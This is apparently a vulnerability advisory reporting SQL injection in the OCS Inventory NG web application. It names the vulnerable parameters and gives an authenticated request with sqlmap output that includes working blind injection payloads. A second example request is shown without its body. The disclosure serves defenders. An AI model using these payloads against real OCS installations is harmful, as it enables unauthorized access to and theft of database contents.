Summary:
Open Computer and Software Inventory Next Generation (OCS inventory NG) is free software that
enables users to inventory IT assets. (Source: Wikipedia)
OCS Reports for OCS Inventory is a web application to manage the OCS Inventory Server and Clients.
The web application is prone to SQL injection (SQLi) attacks.

Effect:
An authenticated attacker is able to gain full access to data stored within database.

Vulnerable Scripts:
1) index.php: Function "visu_search" ("Search with various criteria") GET-parameter "value"
2) ajax.php: Function "visu_groups" POST-parameter "columns%5B0%5D%5Bname%5D" ("columns[0][name]" not url-encoded style for better reading)

Examples:
1) The following request of an authenticated readonly user was used in conjunction with sqlmap to exploit the issue:
GET /index.php?function=visu_search&prov=allsoft&value=somesoft HTTP/1.1
Host: <HOST>
Cookie: PHPSESSID=<Valid Session Identifyer>; VERS=7011; Connection: close

SQLMap Output:
sqlmap identified the following injection point(s) with a total of 232 HTTP(s) requests:
---
Parameter: value (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: function=visu_search&prov=allsoft&value=somesoft' AND 6455=6455 AND 'Ymqk'='Ymqk

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: function=visu_search&prov=allsoft&value=somesoft' AND SLEEP(5) AND 'LhKg'='LhKg
---


2)
POST /ajax.php?function=visu_groups&no_header=true&no_footer=true HTTP/1.1
Host: <HOST>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1434
